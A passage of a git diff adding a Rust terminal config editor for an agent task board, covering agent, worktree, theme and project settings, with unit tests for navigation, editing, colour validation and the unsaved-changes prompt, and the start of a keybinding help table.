ColorColumnHeader,+ ColorPopupBorder,+ ColorPopupHeader,+ // Project overrides+ ProjectDefaultAgent,+ ProjectWorkflowPlugin,+ ProjectBaseBranch,+ ProjectWorktreeDir,+ ProjectBranchPrefix,+ ProjectGithubUrl,+ ProjectCopyFiles,+ ProjectInitScript,+ ProjectCleanupScript,+ ProjectSkipWorktree,+}++/// What a field holds. `Choice` and `Color` are both text underneath; the kind+/// only decides how it is edited and drawn.+#[derive(Debug, Clone, PartialEq, Eq)]+pub enum FieldValue {+ Bool(bool),+ /// An unset optional field is the empty string.+ Text(String),+}++impl FieldValue {+ pub fn as_bool(&self) -> bool {+ matches!(self, Self::Bool(true))+ }++ pub fn as_text(&self) -> &str {+ match self {+ Self::Text(t) => t,+ Self::Bool(_) => "",+ }+ }+}++#[derive(Debug, Clone, PartialEq, Eq)]+pub enum FieldKind {+ Toggle,+ /// A closed set of options, built at open time because the list depends on+ /// what is installed β see `ConfigEditor::open`.+ Choice(Vec<Choice>),+ Text,+ /// Text, drawn with a swatch of the colour it names.+ Color,+}++#[derive(Debug, Clone, PartialEq, Eq)]+pub struct Choice {+ /// What is stored. Empty means unset.+ pub value: String,+ pub label: String,+}++impl Choice {+ fn new(value: &str, label: &str) -> Self {+ Self {+ value: value.to_string(),+ label: label.to_string(),+ }+ }+}++#[derive(Debug, Clone)]+pub struct Field {+ pub id: FieldId,+ pub label: &'static str,+ /// One line under the field. Where a setting only affects *new* worktrees,+ /// this is where it says so.+ pub help: &'static str,+ pub kind: FieldKind,+}++#[derive(Debug, Clone)]+pub struct Section {+ pub title: &'static str,+ pub fields: Vec<Field>,+}++/// What the editor is currently doing to the selected field.+#[derive(Debug, Clone)]+pub enum EditState {+ /// A text or colour field, open for typing.+ Text(TextInput),+ /// A choice list, open with a cursor in it.+ Choice { selected: usize },+}++/// What the caller must do after handling a key.+///+/// The editor never touches the filesystem: that keeps it pure, and keeps the+/// trust re-record and the config re-merge in one place in `app.rs`.+#[derive(Debug, Clone, Copy, PartialEq, Eq)]+pub enum EditorAction {+ None,+ Save,+ Close,+}++#[derive(Debug, Clone)]+pub struct ConfigEditor {+ pub global: GlobalConfig,+ /// `None` in dashboard mode, where there is no project to override.+ pub project: Option<ProjectConfig>,+ pub sections: Vec<Section>,+ pub section: usize,+ pub field: usize,+ pub editing: Option<EditState>,+ /// Set by any change, cleared by a save. Gates the discard prompt.+ pub dirty: bool,+ /// Asking whether to throw away unsaved changes.+ pub confirming_discard: bool,+ /// A line under the form: what was saved, or why something was refused.+ pub status: Option<String>,+}++impl ConfigEditor {+ /// Build the form for the configs as they are on disk.+ ///+ /// `agents` and `plugins` are the installed ones: the choice lists depend+ /// on the machine, so they cannot be static.+ pub fn open(+ global: GlobalConfig,+ project: Option<ProjectConfig>,+ agents: &[String],+ plugins: &[String],+ ) -> Self {+ let agent_required: Vec<Choice> =+ agents.iter().map(|a| Choice::new(a, a)).collect::<Vec<_>>();+ let mut agent_optional = vec![Choice::new("", "(use default)")];+ agent_optional.extend(agent_required.iter().cloned());++ let mut project_agent = vec![Choice::new("", "(use global)")];+ project_agent.extend(agent_required.iter().cloned());++ let mut plugin_choices = vec![Choice::new("", "(use global default)")];+ plugin_choices.extend(plugins.iter().map(|p| Choice::new(p, p)));++ let mut sections = vec![+ Section {+ title: "General",+ fields: vec![+ Field {+ id: FieldId::DefaultAgent,+ label: "Default agent",+ help: "Agent used for new tasks when no phase override applies.",+ kind: FieldKind::Choice(agent_required.clone()),+ },+ Field {+ id: FieldId::FullscreenOnEnter,+ label: "Fullscreen on Enter",+ help: "Enter opens a task's pane fullscreen instead of windowed.",+ kind: FieldKind::Toggle,+ },+ Field {+ id: FieldId::AgentHooks,+ label: "Agent hooks",+ help: "Let agents report their own status. Applies to new worktrees.",+ kind: FieldKind::Toggle,+ },+ Field {+ id: FieldId::AutoTrust,+ label: "Auto-answer trust prompts",+ help: "Off by default: trust and permission prompts are yours to answer.",+ kind: FieldKind::Toggle,+ },+ Field {+ id: FieldId::UpdateCheck,+ label: "Check for updates",+ help: "Ask GitHub once a day for a newer agtx release.",+ kind: FieldKind::Toggle,+ },+ ],+ },+ Section {+ title: "Agents",+ fields: vec![+ Field {+ id: FieldId::AgentResearch,+ label: "Research",+ help: "Agent for the research phase.",+ kind: FieldKind::Choice(agent_optional.clone()),+ },+ Field {+ id: FieldId::AgentPlanning,+ label: "Planning",+ help: "Agent for the planning phase.",+ kind: FieldKind::Choice(agent_optional.clone()),+ },+ Field {+ id: FieldId::AgentRunning,+ label: "Running",+ help: "Agent for the running phase.",+ kind: FieldKind::Choice(agent_optional.clone()),+ },+ Field {+ id: FieldId::AgentReview,+ label: "Review",+ help: "Agent for the review phase.",+ kind: FieldKind::Choice(agent_optional),+ },+ ],+ },+ Section {+ title: "Worktree",+ fields: vec![+ Field {+ id: FieldId::WorktreeEnabled,+ label: "Use worktrees",+ help: "Off means tasks run in the project root.",+ kind: FieldKind::Toggle,+ },+ Field {+ id: FieldId::WorktreeAutoCleanup,+ label: "Auto cleanup",+ help: "Remove a task's worktree when it reaches Done.",+ kind: FieldKind::Toggle,+ },+ Field {+ id: FieldId::WorktreeBaseBranch,+ label: "Base branch",+ help: "Empty auto-detects main or master. Affects new worktrees.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::WorktreeDir,+ label: "Worktree dir",+ help: "Where worktrees are created. Affects new worktrees only.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::WorktreeBranchPrefix,+ label: "Branch prefix",+ help: "\"task\" gives task/{slug}. Affects new worktrees only.",+ kind: FieldKind::Text,+ },+ ],+ },+ Section {+ title: "Theme",+ fields: vec![+ color_field(FieldId::ColorSelected, "Selected", "Selected elements."),+ color_field(FieldId::ColorNormal, "Normal", "Normal borders."),+ color_field(FieldId::ColorDimmed, "Dimmed", "Inactive elements."),+ color_field(FieldId::ColorText, "Text", "Task titles and body text."),+ color_field(FieldId::ColorAccent, "Accent", "Highlights."),+ color_field(+ FieldId::ColorDescription,+ "Description",+ "Task descriptions.",+ ),+ color_field(+ FieldId::ColorColumnHeader,+ "Column header",+ "Unselected column headers.",+ ),+ color_field(FieldId::ColorPopupBorder, "Popup border", "Popup borders."),+ color_field(FieldId::ColorPopupHeader, "Popup header", "Popup headers."),+ ],+ },+ ];++ if project.is_some() {+ sections.push(Section {+ title: "Project",+ fields: vec![+ Field {+ id: FieldId::ProjectDefaultAgent,+ label: "Default agent",+ help: "Overrides the global default for this project only.",+ kind: FieldKind::Choice(project_agent),+ },+ Field {+ id: FieldId::ProjectWorkflowPlugin,+ label: "Workflow plugin",+ help: "Plugin stamped on new tasks. Existing tasks keep theirs.",+ kind: FieldKind::Choice(plugin_choices),+ },+ Field {+ id: FieldId::ProjectBaseBranch,+ label: "Base branch",+ help: "Branch this project's worktrees are cut from.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::ProjectWorktreeDir,+ label: "Worktree dir",+ help: "Overrides the global location. Affects new worktrees only.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::ProjectBranchPrefix,+ label: "Branch prefix",+ help: "Overrides the global prefix. Affects new worktrees only.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::ProjectGithubUrl,+ label: "GitHub URL",+ help: "Repository URL used for pull request operations.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::ProjectCopyFiles,+ label: "Copy files",+ help: "Comma-separated files copied into each new worktree.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::ProjectInitScript,+ label: "Init script",+ help: "Shell command run in a new worktree. Requires project trust.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::ProjectCleanupScript,+ label: "Cleanup script",+ help: "Shell command run before a worktree is removed.",+ kind: FieldKind::Text,+ },+ Field {+ id: FieldId::ProjectSkipWorktree,+ label: "Skip worktree",+ help: "Work directly in the project root, e.g. inside a container.",+ kind: FieldKind::Choice(vec![+ Choice::new("", "(use global)"),+ Choice::new("true", "yes"),+ Choice::new("false", "no"),+ ]),+ },+ ],+ });+ }++ Self {+ global,+ project,+ sections,+ section: 0,+ field: 0,+ editing: None,+ dirty: false,+ confirming_discard: false,+ status: None,+ }+ }++ /// Put the cursor on a named field, wherever it lives.+ ///+ /// First run uses this to open on `Default agent`.+ pub fn focus(&mut self, id: FieldId) {+ for (section, fields) in self.sections.iter().enumerate() {+ if let Some(field) = fields.fields.iter().position(|f| f.id == id) {+ self.section = section;+ self.field = field;+ return;+ }+ }+ }++ pub fn current_section(&self) -> &Section {+ &self.sections[self.section.min(self.sections.len() - 1)]+ }++ pub fn current_field(&self) -> Option<&Field> {+ self.current_section().fields.get(self.field)+ }++ pub fn value(&self, id: FieldId) -> FieldValue {+ read(id, &self.global, self.project.as_ref())+ }++ fn set(&mut self, id: FieldId, value: FieldValue) {+ // Compare what is *stored* before and after, not the value handed in:+ // a write can normalise (a blank optional field becomes unset) or+ // decline (a project field with no project open). The discard prompt+ // trusts `dirty`, so it must be true only when something really moved.+ let before = self.value(id);+ write(id, value, &mut self.global, self.project.as_mut());+ if self.value(id) != before {+ self.dirty = true;+ self.status = None;+ }+ }++ fn move_section(&mut self, delta: isize) {+ let count = self.sections.len() as isize;+ let next = (self.section as isize + delta).rem_euclid(count);+ self.section = next as usize;+ self.field = 0;+ }++ fn move_field(&mut self, delta: isize) {+ let count = self.current_section().fields.len() as isize;+ if count == 0 {+ return;+ }+ let next = (self.field as isize + delta).clamp(0, count - 1);+ self.field = next as usize;+ }++ /// Open the selected field for editing, or flip it if it is a toggle.+ fn activate(&mut self) {+ let Some(field) = self.current_field().cloned() else {+ return;+ };+ match field.kind {+ FieldKind::Toggle => {+ let flipped = !self.value(field.id).as_bool();+ self.set(field.id, FieldValue::Bool(flipped));+ }+ FieldKind::Choice(ref choices) => {+ let current = self.value(field.id);+ let selected = choices+ .iter()+ .position(|c| c.value == current.as_text())+ .unwrap_or(0);+ self.editing = Some(EditState::Choice { selected });+ }+ FieldKind::Text | FieldKind::Color => {+ let mut input = TextInput::new();+ input.set_text(self.value(field.id).as_text().to_string());+ self.editing = Some(EditState::Text(input));+ }+ }+ }++ /// Commit whatever the open editor holds.+ fn commit(&mut self) {+ let Some(field) = self.current_field().cloned() else {+ self.editing = None;+ return;+ };+ match self.editing.take() {+ Some(EditState::Text(input)) => {+ let text = input.as_str().trim().to_string();+ if matches!(field.kind, FieldKind::Color)+ && !text.is_empty()+ && !is_hex_color(&text)+ {+ // Re-open on the bad value rather than discarding what was+ // typed: the user still has to fix it.+ self.editing = Some(EditState::Text(input));+ self.status = Some("Colours are hex, like #5cfff7.".to_string());+ return;+ }+ self.set(field.id, FieldValue::Text(text));+ }+ Some(EditState::Choice { selected }) => {+ if let FieldKind::Choice(ref choices) = field.kind {+ if let Some(choice) = choices.get(selected) {+ self.set(field.id, FieldValue::Text(choice.value.clone()));+ }+ }+ }+ None => {}+ }+ }++ /// Handle one key, reporting what the caller should do next.+ pub fn handle_key(&mut self, key: crossterm::event::KeyEvent) -> EditorAction {+ use crossterm::event::{KeyCode, KeyModifiers};+ let ctrl = key.modifiers.contains(KeyModifiers::CONTROL);++ if self.confirming_discard {+ return match key.code {+ KeyCode::Char('y') | KeyCode::Char('Y') => EditorAction::Close,+ KeyCode::Char('s') | KeyCode::Char('S') => EditorAction::Save,+ _ => {+ self.confirming_discard = false;+ EditorAction::None+ }+ };+ }++ // A field open for editing owns its keys, including Esc: closing the+ // field must not close the whole form.+ //+ // The choice count is read up front because the cursor lives in+ // `self.editing` and the list in `self.sections`, and the borrow checker+ // will not allow holding one while asking the other.+ let choices = choice_count(self.current_field());+ if let Some(state) = self.editing.as_mut() {+ match (state, key.code) {+ (_, KeyCode::Esc) => self.editing = None,+ (_, KeyCode::Enter) => self.commit(),+ (EditState::Choice { selected }, KeyCode::Char('j') | KeyCode::Down) => {+ let last = choices.saturating_sub(1);+ if *selected < last {+ *selected += 1;+ }+ }+ (EditState::Choice { selected }, KeyCode::Char('k') | KeyCode::Up) => {+ *selected = selected.saturating_sub(1);+ }+ (EditState::Text(input), _) => {+ input.handle_edit_key(key);+ }+ _ => {}+ }+ return EditorAction::None;+ }++ match key.code {+ KeyCode::Char('s') if ctrl => return EditorAction::Save,+ KeyCode::Esc => {+ if self.dirty {+ self.confirming_discard = true;+ return EditorAction::None;+ }+ return EditorAction::Close;+ }+ KeyCode::Char('j') | KeyCode::Down => self.move_field(1),+ KeyCode::Char('k') | KeyCode::Up => self.move_field(-1),+ KeyCode::Char('h') | KeyCode::Left | KeyCode::BackTab => self.move_section(-1),+ // The Kitty protocol reports Shift+Tab as Tab with SHIFT rather+ // than as BackTab, so both spellings have to go backwards.+ KeyCode::Tab if key.modifiers.contains(KeyModifiers::SHIFT) => self.move_section(-1),+ KeyCode::Char('l') | KeyCode::Right | KeyCode::Tab => self.move_section(1),+ KeyCode::Enter | KeyCode::Char(' ') => self.activate(),+ _ => {}+ }+ EditorAction::None+ }++ /// Called by the saver once the write succeeded.+ pub fn mark_saved(&mut self, message: impl Into<String>) {+ self.dirty = false;+ self.confirming_discard = false;+ self.status = Some(message.into());+ }+}++fn choice_count(field: Option<&Field>) -> usize {+ match field.map(|f| &f.kind) {+ Some(FieldKind::Choice(choices)) => choices.len(),+ _ => 0,+ }+}++fn color_field(id: FieldId, label: &'static str, help: &'static str) -> Field {+ Field {+ id,+ label,+ help,+ kind: FieldKind::Color,+ }+}++pub fn is_hex_color(text: &str) -> bool {+ crate::config::ThemeConfig::parse_hex(text).is_some()+}++fn text(value: &str) -> FieldValue {+ FieldValue::Text(value.to_string())+}++fn opt(value: Option<&String>) -> FieldValue {+ FieldValue::Text(value.cloned().unwrap_or_default())+}++/// Blank means "unset" for every optional field; decided in one place.+fn some_unless_blank(value: String) -> Option<String> {+ if value.trim().is_empty() {+ None+ } else {+ Some(value)+ }+}++/// One of the two matches over `FieldId`. See the module docs.+fn read(id: FieldId, global: &GlobalConfig, project: Option<&ProjectConfig>) -> FieldValue {+ use FieldId::*;+ let p = project;+ match id {+ DefaultAgent => text(&global.default_agent),+ FullscreenOnEnter => FieldValue::Bool(global.fullscreen_on_enter),+ AgentHooks => FieldValue::Bool(global.agent_hooks),+ AutoTrust => FieldValue::Bool(global.auto_trust),+ UpdateCheck => FieldValue::Bool(global.update_check),++ AgentResearch => opt(global.agents.research.as_ref()),+ AgentPlanning => opt(global.agents.planning.as_ref()),+ AgentRunning => opt(global.agents.running.as_ref()),+ AgentReview => opt(global.agents.review.as_ref()),++ WorktreeEnabled => FieldValue::Bool(global.worktree.enabled),+ WorktreeAutoCleanup => FieldValue::Bool(global.worktree.auto_cleanup),+ WorktreeBaseBranch => text(&global.worktree.base_branch),+ WorktreeDir => text(&global.worktree.worktree_dir),+ WorktreeBranchPrefix => text(&global.worktree.branch_prefix),++ ColorSelected => text(&global.theme.color_selected),+ ColorNormal => text(&global.theme.color_normal),+ ColorDimmed => text(&global.theme.color_dimmed),+ ColorText => text(&global.theme.color_text),+ ColorAccent => text(&global.theme.color_accent),+ ColorDescription => text(&global.theme.color_description),+ ColorColumnHeader => text(&global.theme.color_column_header),+ ColorPopupBorder => text(&global.theme.color_popup_border),+ ColorPopupHeader => text(&global.theme.color_popup_header),++ ProjectDefaultAgent => opt(p.and_then(|c| c.default_agent.as_ref())),+ ProjectWorkflowPlugin => opt(p.and_then(|c| c.workflow_plugin.as_ref())),+ ProjectBaseBranch => opt(p.and_then(|c| c.base_branch.as_ref())),+ ProjectWorktreeDir => opt(p.and_then(|c| c.worktree_dir.as_ref())),+ ProjectBranchPrefix => opt(p.and_then(|c| c.branch_prefix.as_ref())),+ ProjectGithubUrl => opt(p.and_then(|c| c.github_url.as_ref())),+ ProjectCopyFiles => opt(p.and_then(|c| c.copy_files.as_ref())),+ ProjectInitScript => opt(p.and_then(|c| c.init_script.as_ref())),+ ProjectCleanupScript => opt(p.and_then(|c| c.cleanup_script.as_ref())),+ ProjectSkipWorktree => FieldValue::Text(match p.and_then(|c| c.skip_worktree) {+ Some(true) => "true".to_string(),+ Some(false) => "false".to_string(),+ None => String::new(),+ }),+ }+}++/// The other match over `FieldId`. See the module docs.+fn write(+ id: FieldId,+ value: FieldValue,+ global: &mut GlobalConfig,+ project: Option<&mut ProjectConfig>,+) {+ use FieldId::*;+ let flag = value.as_bool();+ let string = value.as_text().to_string();++ match id {+ DefaultAgent => global.default_agent = string,+ FullscreenOnEnter => global.fullscreen_on_enter = flag,+ AgentHooks => global.agent_hooks = flag,+ AutoTrust => global.auto_trust = flag,+ UpdateCheck => global.update_check = flag,++ AgentResearch => global.agents.research = some_unless_blank(string),+ AgentPlanning => global.agents.planning = some_unless_blank(string),+ AgentRunning => global.agents.running = some_unless_blank(string),+ AgentReview => global.agents.review = some_unless_blank(string),++ WorktreeEnabled => global.worktree.enabled = flag,+ WorktreeAutoCleanup => global.worktree.auto_cleanup = flag,+ WorktreeBaseBranch => global.worktree.base_branch = string,+ WorktreeDir => global.worktree.worktree_dir = string,+ WorktreeBranchPrefix => global.worktree.branch_prefix = string,++ ColorSelected => global.theme.color_selected = string,+ ColorNormal => global.theme.color_normal = string,+ ColorDimmed => global.theme.color_dimmed = string,+ ColorText => global.theme.color_text = string,+ ColorAccent => global.theme.color_accent = string,+ ColorDescription => global.theme.color_description = string,+ ColorColumnHeader => global.theme.color_column_header = string,+ ColorPopupBorder => global.theme.color_popup_border = string,+ ColorPopupHeader => global.theme.color_popup_header = string,++ ProjectDefaultAgent+ | ProjectWorkflowPlugin+ | ProjectBaseBranch+ | ProjectWorktreeDir+ | ProjectBranchPrefix+ | ProjectGithubUrl+ | ProjectCopyFiles+ | ProjectInitScript+ | ProjectCleanupScript+ | ProjectSkipWorktree => {+ // Reachable only when a project is open, since those fields are+ // only added to the form then.+ let Some(config) = project else { return };+ match id {+ ProjectDefaultAgent => config.default_agent = some_unless_blank(string),+ ProjectWorkflowPlugin => config.workflow_plugin = some_unless_blank(string),+ ProjectBaseBranch => config.base_branch = some_unless_blank(string),+ ProjectWorktreeDir => config.worktree_dir = some_unless_blank(string),+ ProjectBranchPrefix => config.branch_prefix = some_unless_blank(string),+ ProjectGithubUrl => config.github_url = some_unless_blank(string),+ ProjectCopyFiles => config.copy_files = some_unless_blank(string),+ ProjectInitScript => config.init_script = some_unless_blank(string),+ ProjectCleanupScript => config.cleanup_script = some_unless_blank(string),+ ProjectSkipWorktree => {+ config.skip_worktree = match string.as_str() {+ "true" => Some(true),+ "false" => Some(false),+ _ => None,+ }+ }+ _ => unreachable!("outer match already narrowed to project fields"),+ }+ }+ }+}++#[cfg(test)]+#[path = "config_editor_tests.rs"]+mod tests;diff --git a/src/tui/config_editor_tests.rs b/src/tui/config_editor_tests.rsnew file mode 100644index 0000000..97fc421--- /dev/null+++ b/src/tui/config_editor_tests.rs@@ -0,0 +1,356 @@+use super::*;+use crossterm::event::{KeyCode, KeyEvent, KeyModifiers};++fn key(code: KeyCode) -> KeyEvent {+ KeyEvent::new(code, KeyModifiers::NONE)+}++fn ctrl(code: KeyCode) -> KeyEvent {+ KeyEvent::new(code, KeyModifiers::CONTROL)+}++fn editor() -> ConfigEditor {+ ConfigEditor::open(+ GlobalConfig::default(),+ None,+ &["claude".to_string(), "codex".to_string()],+ &["agtx".to_string(), "gsd".to_string()],+ )+}++fn editor_with_project() -> ConfigEditor {+ ConfigEditor::open(+ GlobalConfig::default(),+ Some(ProjectConfig::default()),+ &["claude".to_string(), "codex".to_string()],+ &["agtx".to_string(), "gsd".to_string()],+ )+}++/// Jump straight to a field, so a test about that field is not also a test of+/// how many times `j` has to be pressed to reach it.+fn focus(ed: &mut ConfigEditor, id: FieldId) {+ for section in 0..ed.sections.len() {+ if let Some(field) = ed.sections[section].fields.iter().position(|f| f.id == id) {+ ed.section = section;+ ed.field = field;+ return;+ }+ }+ panic!("no field {id:?} in the form");+}++// --- the field table ---++/// `read` and `write` are the two halves of one contract: a field wired into+/// one and not the other is a setting that silently will not stick.+#[test]+fn every_field_round_trips_through_read_and_write() {+ let mut ed = editor_with_project();+ let ids: Vec<FieldId> = ed+ .sections+ .iter()+ .flat_map(|s| s.fields.iter().map(|f| (f.id, f.kind.clone())))+ .map(|(id, _)| id)+ .collect();++ for id in ids {+ let kind = ed+ .sections+ .iter()+ .flat_map(|s| s.fields.iter())+ .find(|f| f.id == id)+ .unwrap()+ .kind+ .clone();++ let written = match &kind {+ FieldKind::Toggle => FieldValue::Bool(!ed.value(id).as_bool()),+ // The last choice is the one least likely to already be selected.+ FieldKind::Choice(choices) => FieldValue::Text(choices.last().unwrap().value.clone()),+ FieldKind::Color => FieldValue::Text("#123456".to_string()),+ FieldKind::Text => FieldValue::Text("probe-value".to_string()),+ };+ ed.set(id, written.clone());+ assert_eq!(ed.value(id), written, "{id:?} did not survive a write");+ }+}++#[test]+fn the_project_section_only_exists_when_a_project_is_open() {+ assert!(!editor().sections.iter().any(|s| s.title == "Project"));+ assert!(editor_with_project()+ .sections+ .iter()+ .any(|s| s.title == "Project"));+}++/// Writing a project field with no project open must not panic, and must not+/// leave the form claiming unsaved changes it does not have.+#[test]+fn project_fields_are_inert_without_a_project() {+ let mut ed = editor();+ ed.set(FieldId::ProjectInitScript, FieldValue::Text("x".into()));+ assert!(!ed.dirty);+}++/// `dirty` tracks what is stored, not what was asked for: clearing a field to+/// blank stores `None`, and that is a real change even though the *typed* value+/// and the read-back value are both empty.+#[test]+fn clearing_a_set_field_counts_as_a_change() {+ let mut ed = editor_with_project();+ ed.set(+ FieldId::ProjectInitScript,+ FieldValue::Text("npm ci".into()),+ );+ ed.mark_saved("saved");+ assert!(!ed.dirty);++ ed.set(FieldId::ProjectInitScript, FieldValue::Text(String::new()));+ assert!(ed.dirty, "unsetting a field is an edit");+ assert_eq!(ed.project.as_ref().unwrap().init_script, None);+}++// --- navigation ---++#[test]+fn sections_wrap_and_reset_the_field_cursor() {+ let mut ed = editor();+ ed.handle_key(key(KeyCode::Char('j')));+ assert_eq!(ed.field, 1);++ ed.handle_key(key(KeyCode::Char('l')));+ assert_eq!(ed.current_section().title, "Agents");+ assert_eq!(ed.field, 0, "a new section starts at its first field");++ ed.handle_key(key(KeyCode::Char('h')));+ assert_eq!(ed.current_section().title, "General");+ ed.handle_key(key(KeyCode::Char('h')));+ assert_eq!(ed.current_section().title, "Theme", "sections wrap");+}++#[test]+fn the_field_cursor_clamps_rather_than_wrapping() {+ let mut ed = editor();+ ed.handle_key(key(KeyCode::Char('k')));+ assert_eq!(ed.field, 0);+ for _ in 0..50 {+ ed.handle_key(key(KeyCode::Char('j')));+ }+ assert_eq!(ed.field, ed.current_section().fields.len() - 1);+}++// --- editing ---++#[test]+fn space_flips_a_toggle_and_marks_the_form_dirty() {+ let mut ed = editor();+ focus(&mut ed, FieldId::AutoTrust);+ assert!(!ed.value(FieldId::AutoTrust).as_bool());++ ed.handle_key(key(KeyCode::Char(' ')));+ assert!(ed.value(FieldId::AutoTrust).as_bool());+ assert!(ed.dirty);+}++#[test]+fn a_choice_field_opens_a_list_and_commits_the_pick() {+ let mut ed = editor();+ focus(&mut ed, FieldId::DefaultAgent);+ assert_eq!(ed.value(FieldId::DefaultAgent).as_text(), "claude");++ ed.handle_key(key(KeyCode::Enter));+ assert!(matches!(ed.editing, Some(EditState::Choice { .. })));+ ed.handle_key(key(KeyCode::Char('j')));+ ed.handle_key(key(KeyCode::Enter));++ assert!(ed.editing.is_none());+ assert_eq!(ed.value(FieldId::DefaultAgent).as_text(), "codex");+}++/// The list opens on whatever is already stored, so the first thing the cursor+/// is on is the current answer.+#[test]+fn a_choice_list_opens_on_the_current_value() {+ let mut ed = editor();+ ed.set(FieldId::DefaultAgent, FieldValue::Text("codex".into()));+ focus(&mut ed, FieldId::DefaultAgent);+ ed.handle_key(key(KeyCode::Enter));+ match ed.editing {+ Some(EditState::Choice { selected }) => assert_eq!(selected, 1),+ other => panic!("expected a choice list, got {other:?}"),+ }+}++#[test]+fn escape_abandons_an_edit_without_changing_the_value() {+ let mut ed = editor();+ focus(&mut ed, FieldId::WorktreeBaseBranch);+ ed.handle_key(key(KeyCode::Enter));+ ed.handle_key(key(KeyCode::Char('x')));+ ed.handle_key(key(KeyCode::Esc));++ assert!(ed.editing.is_none());+ assert_eq!(ed.value(FieldId::WorktreeBaseBranch).as_text(), "");+ assert!(!ed.dirty, "an abandoned edit is not a change");+}++/// Esc belongs to the open field first β closing the inline editor must not+/// also close the whole form.+#[test]+fn escape_in_an_open_field_does_not_close_the_editor() {+ let mut ed = editor();+ focus(&mut ed, FieldId::WorktreeBaseBranch);+ ed.handle_key(key(KeyCode::Enter));+ assert_eq!(ed.handle_key(key(KeyCode::Esc)), EditorAction::None);+}++#[test]+fn a_text_field_commits_what_was_typed() {+ let mut ed = editor();+ focus(&mut ed, FieldId::WorktreeBranchPrefix);+ ed.handle_key(key(KeyCode::Enter));+ for _ in 0.."task".len() {+ ed.handle_key(key(KeyCode::Backspace));+ }+ for c in "wip".chars() {+ ed.handle_key(key(KeyCode::Char(c)));+ }+ ed.handle_key(key(KeyCode::Enter));++ assert_eq!(ed.value(FieldId::WorktreeBranchPrefix).as_text(), "wip");+ assert!(ed.dirty);+}++/// A blank optional field means unset, and that is decided in one place.+#[test]+fn clearing_an_optional_text_field_unsets_it() {+ let mut ed = editor_with_project();+ ed.set(+ FieldId::ProjectInitScript,+ FieldValue::Text("npm ci".into()),+ );+ assert_eq!(+ ed.project.as_ref().unwrap().init_script.as_deref(),+ Some("npm ci")+ );++ ed.set(FieldId::ProjectInitScript, FieldValue::Text(" ".into()));+ assert_eq!(ed.project.as_ref().unwrap().init_script, None);+}++// --- colours ---++/// A bad colour would make the whole board unreadable on the next redraw, and+/// the value is typed by hand.+#[test]+fn a_bad_colour_is_refused_and_the_field_stays_open() {+ let mut ed = editor();+ focus(&mut ed, FieldId::ColorSelected);+ ed.handle_key(key(KeyCode::Enter));+ for _ in 0..8 {+ ed.handle_key(key(KeyCode::Backspace));+ }+ for c in "nope".chars() {+ ed.handle_key(key(KeyCode::Char(c)));+ }+ ed.handle_key(key(KeyCode::Enter));++ assert!(ed.editing.is_some(), "the field stays open to be fixed");+ assert!(ed.status.is_some(), "and says why");+ assert_eq!(ed.value(FieldId::ColorSelected).as_text(), "#ead49a");+}++#[test]+fn a_good_colour_is_accepted() {+ let mut ed = editor();+ focus(&mut ed, FieldId::ColorSelected);+ ed.handle_key(key(KeyCode::Enter));+ for _ in 0..8 {+ ed.handle_key(key(KeyCode::Backspace));+ }+ for c in "#00ff00".chars() {+ ed.handle_key(key(KeyCode::Char(c)));+ }+ ed.handle_key(key(KeyCode::Enter));++ assert!(ed.editing.is_none());+ assert_eq!(ed.value(FieldId::ColorSelected).as_text(), "#00ff00");+}++// --- leaving ---++#[test]+fn escape_closes_a_clean_form_immediately() {+ let mut ed = editor();+ assert_eq!(ed.handle_key(key(KeyCode::Esc)), EditorAction::Close);+ assert!(!ed.confirming_discard);+}++#[test]+fn escape_on_a_dirty_form_asks_first() {+ let mut ed = editor();+ focus(&mut ed, FieldId::AutoTrust);+ ed.handle_key(key(KeyCode::Char(' ')));++ assert_eq!(ed.handle_key(key(KeyCode::Esc)), EditorAction::None);+ assert!(ed.confirming_discard);++ assert_eq!(ed.handle_key(key(KeyCode::Char('y'))), EditorAction::Close);+}++#[test]+fn the_discard_prompt_offers_saving_instead() {+ let mut ed = editor();+ focus(&mut ed, FieldId::AutoTrust);+ ed.handle_key(key(KeyCode::Char(' ')));+ ed.handle_key(key(KeyCode::Esc));++ assert_eq!(ed.handle_key(key(KeyCode::Char('s'))), EditorAction::Save);+}++#[test]+fn any_other_key_backs_out_of_the_discard_prompt() {+ let mut ed = editor();+ focus(&mut ed, FieldId::AutoTrust);+ ed.handle_key(key(KeyCode::Char(' ')));+ ed.handle_key(key(KeyCode::Esc));++ assert_eq!(ed.handle_key(key(KeyCode::Esc)), EditorAction::None);+ assert!(!ed.confirming_discard);+ assert!(ed.dirty, "backing out keeps the changes");+}++#[test]+fn ctrl_s_asks_the_caller_to_save() {+ let mut ed = editor();+ assert_eq!(ed.handle_key(ctrl(KeyCode::Char('s'))), EditorAction::Save);+}++#[test]+fn marking_saved_clears_the_dirty_flag() {+ let mut ed = editor();+ focus(&mut ed, FieldId::AutoTrust);+ ed.handle_key(key(KeyCode::Char(' ')));+ assert!(ed.dirty);++ ed.mark_saved("Saved.");+ assert!(!ed.dirty);+ assert_eq!(ed.status.as_deref(), Some("Saved."));+ assert_eq!(+ ed.handle_key(key(KeyCode::Esc)),+ EditorAction::Close,+ "a saved form closes without asking"+ );+}++/// Re-setting a field to what it already held is not an edit, so it must not+/// arm the discard prompt.+#[test]+fn setting_a_value_to_itself_is_not_a_change() {+ let mut ed = editor();+ let current = ed.value(FieldId::DefaultAgent);+ ed.set(FieldId::DefaultAgent, current);+ assert!(!ed.dirty);+}diff --git a/src/tui/help.rs b/src/tui/help.rsnew file mode 100644index 0000000..3b81eb5--- /dev/null+++ b/src/tui/help.rs@@ -0,0 +1,193 @@+//! The `?` overlay: every binding, grouped by where it applies.+//!+//! This table is the complete list. `build_footer_text` shows a contextual+//! handful, because the footer is one line and gets truncated on a narrow+//! terminal β so a binding that is not here is undiscoverable.++pub struct HelpEntry {+ pub keys: &'static str,+ pub action: &'static str,+}++pub struct HelpSection {+ pub title: &'static str,+ pub entries: &'static [HelpEntry],+}++const fn e(keys: &'static str, action: &'static str) -> HelpEntry {+ HelpEntry { keys, action }+}++pub const HELP: &[HelpSection] = &[+ HelpSection {+ title: "Board",+ entries: &[+ e("h j k l ββββ", "Move between columns and tasks"),+ e("o", "New task"),+ e("Enter", "Open the task's pane β or edit it, in 